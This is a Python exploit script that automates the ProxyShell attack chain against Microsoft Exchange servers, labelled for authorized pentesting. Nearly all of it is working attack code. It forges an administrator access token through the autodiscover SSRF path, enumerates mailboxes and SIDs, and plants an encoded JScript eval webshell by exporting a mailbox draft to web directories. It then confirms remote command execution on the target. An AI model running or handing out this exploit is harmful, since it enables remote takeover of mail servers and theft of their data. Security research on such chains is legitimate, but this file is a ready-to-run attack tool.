#!/usr/bin/env python3
# Non-interactive ProxyShell driver (based on Udyz/proxyshell-auto + ktecv2000/ProxyShell)
# For authorized pentest only.
import argparse, base64, struct, random, binascii, string, re, sys, time, json, threading, os
import requests
import xml.etree.cElementTree as ET
from http.server import HTTPServer, BaseHTTPRequestHandler
from socketserver import ThreadingMixIn
from functools import partial
from pypsrp.wsman import WSMan
from pypsrp.powershell import PowerShell, RunspacePool

requests.packages.urllib3.disable_warnings()

STATE = {}
def log(msg):
    print(f"[*] {msg}", flush=True)
    STATE.setdefault('log', []).append(str(msg))

def rand_string(n=5):
    return ''.join(random.choices(string.ascii_lowercase, k=n))

subj_ = rand_string(16)

def webshell_payload():
    payload = '<script language="JScript" runat="server" Page aspcompat=true>function Page_Load(){eval(Request["exec_code"],"unsafe");}</script>'
    compEnc = [0x47, 0xf1, 0xb4, 0xe6, 0x0b, 0x6a, 0x72, 0x48, 0x85, 0x4e, 0x9e, 0xeb, 0xe2, 0xf8, 0x94,
        0x53, 0xe0, 0xbb, 0xa0, 0x02, 0xe8, 0x5a, 0x09, 0xab, 0xdb, 0xe3, 0xba, 0xc6, 0x7c, 0xc3, 0x10, 0xdd, 0x39,
        0x05, 0x96, 0x30, 0xf5, 0x37, 0x60, 0x82, 0x8c, 0xc9, 0x13, 0x4a, 0x6b, 0x1d, 0xf3, 0xfb, 0x8f, 0x26, 0x97,
        0xca, 0x91, 0x17, 0x01, 0xc4, 0x32, 0x2d, 0x6e, 0x31, 0x95, 0xff, 0xd9, 0x23, 0xd1, 0x00, 0x5e, 0x79, 0xdc,
        0x44, 0x3b, 0x1a, 0x28, 0xc5, 0x61, 0x57, 0x20, 0x90, 0x3d, 0x83, 0xb9, 0x43, 0xbe, 0x67, 0xd2, 0x46, 0x42,
        0x76, 0xc0, 0x6d, 0x5b, 0x7e, 0xb2, 0x0f, 0x16, 0x29, 0x3c, 0xa9, 0x03, 0x54, 0x0d, 0xda, 0x5d, 0xdf, 0xf6,
        0xb7, 0xc7, 0x62, 0xcd, 0x8d, 0x06, 0xd3, 0x69, 0x5c, 0x86, 0xd6, 0x14, 0xf7, 0xa5, 0x66, 0x75, 0xac, 0xb1,
        0xe9, 0x45, 0x21, 0x70, 0x0c, 0x87, 0x9f, 0x74, 0xa4, 0x22, 0x4c, 0x6f, 0xbf, 0x1f, 0x56, 0xaa, 0x2e, 0xb3,
        0x78, 0x33, 0x50, 0xb0, 0xa3, 0x92, 0xbc, 0xcf, 0x19, 0x1c, 0xa7, 0x63, 0xcb, 0x1e, 0x4d, 0x3e, 0x4b, 0x1b,
        0x9b, 0x4f, 0xe7, 0xf0, 0xee, 0xad, 0x3a, 0xb5, 0x59, 0x04, 0xea, 0x40, 0x55, 0x25, 0x51, 0xe5, 0x7a, 0x89,
        0x38, 0x68, 0x52, 0x7b, 0xfc, 0x27, 0xae, 0xd7, 0xbd, 0xfa, 0x07, 0xf4, 0xcc, 0x8e, 0x5f, 0xef, 0x35, 0x9c,
        0x84, 0x2b, 0x15, 0xd5, 0x77, 0x34, 0x49, 0xb6, 0x12, 0x0a, 0x7f, 0x71, 0x88, 0xfd, 0x9d, 0x18, 0x41, 0x7d,
        0x93, 0xd8, 0x58, 0x2c, 0xce, 0xfe, 0x24, 0xaf, 0xde, 0xb8, 0x36, 0xc8, 0xa1, 0x80, 0xa6, 0x99, 0x98, 0xa8,
        0x2f, 0x0e, 0x81, 0x65, 0x73, 0xe4, 0xc2, 0xa2, 0x8a, 0xd4, 0xe1, 0x11, 0xd0, 0x08, 0x8b, 0x2a, 0xf2, 0xed,
        0x9a, 0x64, 0x3f, 0xc1, 0x6c, 0xf9, 0xec]
    out = [None]*len(payload)
    for i in range(len(payload)):
        temp = ord(payload[i]) & 0xff
        out[i] = "%02x" % (compEnc[temp])
    out = ''.join(out)
    return base64.b64encode(binascii.unhexlify(out)).decode()

class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
    pass

class PwnServer(BaseHTTPRequestHandler):
    def __init__(self, proxyshell, *args, **kwargs):
        self.proxyshell = proxyshell
        super().__init__(*args, **kwargs)
    def do_POST(self):
        powershell_url = f'/powershell/?X-Rps-CAT={self.proxyshell.token}'
        length = int(self.headers['content-length'])
        content_type = self.headers['content-type']
        post_data = self.rfile.read(length).decode()
        post_data = re.sub('<wsa:To>(.*?)</wsa:To>', '<wsa:To>http://127.0.0.1:80/powershell</wsa:To>', post_data)
        post_data = re.sub('<wsman:ResourceURI s:mustUnderstand="true">(.*?)</wsman:ResourceURI>', '<wsman:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</wsman:ResourceURI>', post_data)
        try:
            r = self.proxyshell.post(powershell_url, post_data, {'Content-Type': content_type})
            resp = r.content
        except Exception as e:
            resp = b''
        self.send_response(200)
        self.end_headers()
        self.wfile.write(resp)
    def log_message(self, format, *args):
        return

class ProxyShell:
    def __init__(self, exchange_url, email='', verify=False, timeout=15):
        self.email = email
        self.exchange_url = exchange_url if exchange_url.startswith('https://') else f'https://{exchange_url}'
        self.legacydn = None
        self.fqdn = None
        self.sid = None
        self.admin_sid = None
        self.token = None
        self.clientid = 'HtTp://ifcoNFiG.mE'
        self.session = requests.Session()
        self.session.verify = verify
        self.timeout = timeout
        self.ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
    def post(self, endpoint, data, headers=None):
        headers = headers or {}
        if 'powershell' in endpoint:
            endpoint = endpoint.replace('/powershell/', '/%70owershell/')
            path = f"/autodiscover/autodiscover.json?@evil.corp{endpoint}&Email=autodiscover/autodiscover.json%3F@evil.corp"
        else:
            path = f"/autodiscover/autodiscover.json?@evil.corp{endpoint}?&Email=autodiscover/autodiscover.json%3F@evil.corp"
        url = f'{self.exchange_url}{path}'
        r = self.session.post(url=url, data=data, headers=headers, timeout=self.timeout)
        return r
    def get_fqdn(self):
        e = "/autodiscover/autodiscover.json?@evil.corp/ews/exchange.asmx?&Email=autodiscover/autodiscover.json%3F@evil.corp"
        r = requests.get(self.exchange_url + e, verify=False, timeout=self.timeout)
        self.fqdn = r.headers.get("X-CalculatedBETarget")
        return self.fqdn
    def get_legacydn(self):
        data = '''<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><m:ResolveNames ReturnFullContactData="true" SearchScope="ActiveDirectory"><m:UnresolvedEntry>SMTP:</m:UnresolvedEntry></m:ResolveNames></soap:Body></soap:Envelope>'''
        headers = {'Content-Type': 'text/xml'}
        r = self.post('/EWS/exchange.asmx', data, headers)
        emails = re.findall('(?:<t:EmailAddress>)(.+?)(?:</t:EmailAddress>)', r.text)
        STATE['emails'] = emails
        for em in emails:
            autodiscover_payload = '''<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"><Request><EMailAddress>{mail}</EMailAddress><AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema></Request></Autodiscover>'''.format(mail=em)
            r_legacydn = self.post('/autodiscover/autodiscover.xml', autodiscover_payload, {"Content-Type": "text/xml"})
            if r_legacydn.status_code == 200 and 'Legacy' in r_legacydn.text:
                self.email = em
                self.legacydn = re.findall('(?:<LegacyDN>)(.+?)(?:</LegacyDN>)', r_legacydn.text)[0]
                log(f"valid mailbox: {self.email}")
                return self.legacydn
        return None
    def get_sid(self):
        data = self.legacydn + '\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00'
        headers = {"X-Requesttype": 'Connect', "X-Clientinfo": '{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}', "X-Clientapplication": 'Outlook/15.0.4815.1002', "X-Requestid": '{C715155F-2BE8-44E0-BD34-2960067874C8}:2', 'Content-Type': 'application/mapi-http', "User-Agent": self.ua}
        r = self.post('/mapi/emsmdb', data, headers)
        self.sid = r.text.split("with SID ")[1].split(" and MasterAccountSid")[0]
        if self.sid.rsplit("-", 1)[1] != '500':
            self.admin_sid = self.sid.rsplit("-", 1)[0] + '-500'
        else:
            self.admin_sid = self.sid
        return self.sid
    def get_token(self):
        self.token = self.gen_token()
        try:
            self.cid = requests.get(self.clientid, timeout=self.timeout).text
        except Exception:
            self.cid = "C715155F2BE844E0"
        t = requests.get(self.exchange_url + '/autodiscover/autodiscover.json?@evil.corp/%70owershell/?X-Rps-CAT=' + self.token + '&Email=autodiscover/autodiscover.json%3F@evil.corp',
                         headers={"Cookie": f"PrivateComputer=true; ClientID={self.cid}-BD342960067874C8; X-OWA-JS-PSD=1", "User-Agent": self.ua},
                         verify=False, timeout=self.timeout)
        return self.token if t.status_code == 200 else None
    def set_ews(self):
        mail = self.email
        sid = self.sid
        payload = webshell_payload()
        send_email = '''<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Header><t:RequestServerVersion Version="Exchange2016" /><t:SerializedSecurityContext><t:UserSid>{sid}</t:UserSid><t:GroupSids><t:GroupIdentifier><t:SecurityIdentifier>S-1-5-21</t:SecurityIdentifier></t:GroupIdentifier></t:GroupSids></t:SerializedSecurityContext></soap:Header><soap:Body><m:CreateItem MessageDisposition="SaveOnly"><m:Items><t:Message><t:Subject>{subj}</t:Subject><t:Body BodyType="HTML">hello</t:Body><t:Attachments><t:FileAttachment><t:Name>FileAttachment.txt</t:Name><t:IsInline>false</t:IsInline><t:IsContactPhoto>false</t:IsContactPhoto><t:Content>{payload}</t:Content></t:FileAttachment></t:Attachments><t:ToRecipients><t:Mailbox><t:EmailAddress>{mail}</t:EmailAddress></t:Mailbox></t:ToRecipients></t:Message></m:Items></m:CreateItem></soap:Body></soap:Envelope>'''.format(sid=sid, subj=subj_, payload=payload, mail=mail)
        p = self.post('/ews/exchange.asmx', send_email, {"Content-Type": "text/xml"})
        try:
            d = p.text.split('ResponseClass="')[1].split('"')[0]
        except Exception:
            d = p.text[:200]
        return d
    def gen_token(self):
        version = 0; ttype = 'Windows'; compressed = 0; auth_type = 'Kerberos'; raw_token = b''; gsid = 'S-1-5-32-544'
        raw_token += b'V' + (1).to_bytes(1, 'little') + (version).to_bytes(1, 'little')
        raw_token += b'T' + (len(ttype)).to_bytes(1, 'little') + ttype.encode()
        raw_token += b'C' + (compressed).to_bytes(1, 'little')
        raw_token += b'A' + (len(auth_type)).to_bytes(1, 'little') + auth_type.encode()
        raw_token += b'L' + (len(self.email)).to_bytes(1, 'little') + self.email.encode()
        raw_token += b'U' + (len(self.sid)).to_bytes(1, 'little') + self.sid.encode()
        raw_token += b'G' + struct.pack('<II', 1, 7) + (len(gsid)).to_bytes(1, 'little') + gsid.encode()
        raw_token += b'E' + struct.pack('>I', 0)
        return base64.b64encode(raw_token).decode()

def start_server(proxyshell, port):
    handler = partial(PwnServer, proxyshell)
    server = ThreadedHTTPServer(('', port), handler)
    t = threading.Thread(target=server.serve_forever); t.daemon = True; t.start()
    return server

def wsman_shell(command, port):
    wsman = WSMan("127.0.0.1", username='', password='', ssl=False, port=port, auth='basic', encryption='never')
    with RunspacePool(wsman) as pool:
        ps = PowerShell(pool)
        ps.add_script(command)
        output = ps.invoke()
        return output, ps.streams.error

def test_webshell(shell_url, cmd="whoami"):
    # ASP.NET JScript.NET compatible proof (no ActiveXObject which is classic-ASP only).
    body = {"exec_code": 'Response.Write("PWN|"+System.Environment.UserName+"|"+System.Environment.MachineName+"|"+System.Environment.OSVersion);'}
    try:
        f = requests.post(shell_url, headers={'Content-Type': 'application/x-www-form-urlencoded'}, params=body, verify=False, timeout=20)
        return f.status_code, f.text
    except Exception as e:
        return None, str(e)

def run_target(ip, budget=280):
    start = time.time()
    def left():
        return budget - (time.time() - start)
    ps = ProxyShell(f"https://{ip}", timeout=15)
    result = {"ip": ip, "status": "fail", "detail": ""}
    try:
        log("get_fqdn")
        fqdn = ps.get_fqdn()
        log(f"fqdn={fqdn}")
        if not fqdn:
            result["detail"] = "no fqdn"; return result
        log("get_legacydn (enumerate mailboxes)")
        ld = ps.get_legacydn()
        if not ld:
            result["detail"] = "no legacyDN / no mailbox"; return result
        log(f"legacydn={ld}")
        log("get_sid")
        sid = ps.get_sid()
        log(f"sid={sid} admin_sid={ps.admin_sid}")
        ps.sid = ps.admin_sid  # use admin (500) SID like ktecv2000
        log("get_token")
        tok = ps.get_token()
        if not tok:
            result["detail"] = "no token"; return result
        log(f"token ok ({tok[:30]}...)")
        log("set_ews (upload webshell into mailbox)")
        log("set_ews -> " + str(ps.set_ews()))
        port = random.randint(20000, 40000)
        srv = start_server(ps, port)
        user = ps.email.split('@')[0]
        paths = [
            ("Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\", "auth"),
            ("inetpub\\wwwroot\\aspnet_client\\", "aspnet_client"),
        ]
        got = False
        for shell_path, kind in paths:
            if left() < 40:
                log("budget low, stopping attempts"); break
            shell_name = rand_string() + '.aspx'
            unc = "\\\\127.0.0.1\\c$\\" + shell_path + shell_name
            if kind == "aspnet_client":
                rel = shell_path.split('inetpub\\wwwroot\\')[1].replace('\\', '/')
            else:
                rel = shell_path.split('Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\')[1].replace('\\', '/')
            shell_url = f"https://{ip}/{rel}{shell_name}"
            log(f"write webshell -> {rel}{shell_name}")
            try:
                wsman_shell(f'New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "{user}"', port)
            except Exception as e:
                log(f"roleassign err {e}")
            time.sleep(2)
            try:
                wsman_shell('Get-MailboxExportRequest -Status Completed | Remove-MailboxExportRequest -Confirm:$false', port)
            except Exception as e:
                log(f"cleanup err {e}")
            cmd = ('New-MailboxExportRequest -Mailbox %s -IncludeFolders ("#Drafts#") '
                   '-ContentFilter "(Subject -eq \'%s\')" -ExcludeDumpster -FilePath "%s"') % (ps.email, subj_, unc)
            try:
                out, err = wsman_shell(cmd, port)
                log(f"export req submitted")
            except Exception as e:
                log(f"export err {e}")
            time.sleep(8)
            for _ in range(3):
                code, txt = test_webshell(shell_url)
                if code == 200 and txt and 'PWN|' in txt and 'Exception' not in txt[:200]:
                    log(f"WEBSHELL OK: {shell_url} -> {txt[:120]!r}")
                    result.update(status="success", detail=txt[:200], shell_url=shell_url, email=ps.email, sid=ps.sid, fqdn=fqdn)
                    got = True
                    break
                elif code == 200:
                    log(f"shell 200 but body: {txt[:120]!r}")
                    # try whoami parse
                else:
                    log(f"shell probe code={code}")
                time.sleep(3)
            if got:
                break
        if not got:
            result["detail"] = "webshell not confirmed"
        return result
    except Exception as e:
        result["detail"] = f"exception: {e}"
        return result

if __name__ == '__main__':
    ap = argparse.ArgumentParser()
    ap.add_argument('ip')
    ap.add_argument('--budget', type=int, default=280)
    a = ap.parse_args()
    r = run_target(a.ip, a.budget)
    print("RESULT_JSON " + json.dumps(r))
